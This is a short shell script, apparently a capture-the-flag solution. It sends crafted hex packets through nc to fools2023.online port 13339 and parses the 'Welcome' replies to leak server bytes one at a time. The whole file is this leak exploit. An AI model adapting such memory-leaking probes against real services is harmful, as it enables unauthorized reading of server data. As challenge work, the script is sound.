You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

22 lines
620 B

2 years ago
#!/bin/sh
set -e
for x in $(seq 240 255); do
for y in $(seq 0 255); do
if [ $y -eq 10 ]; then
out="$(printf 'f0%02x%02x0a710a' 9 $x | xxd -r -p | \
nc fools2023.online 13339 | \
grep '^Welcome,' | \
sed -e 's/^Welcome, \([^!]*\)!*/\1/' | \
cut -c -2)"
echo "$out"
continue
fi
out="$(printf 'f1%02x%02x0a710a' $y $x | xxd -r -p | \
nc fools2023.online 13339 | \
grep '^Welcome,' | \
sed -e 's/^Welcome, \([^!]*\)!*/\1/')"
echo "$out"
done
done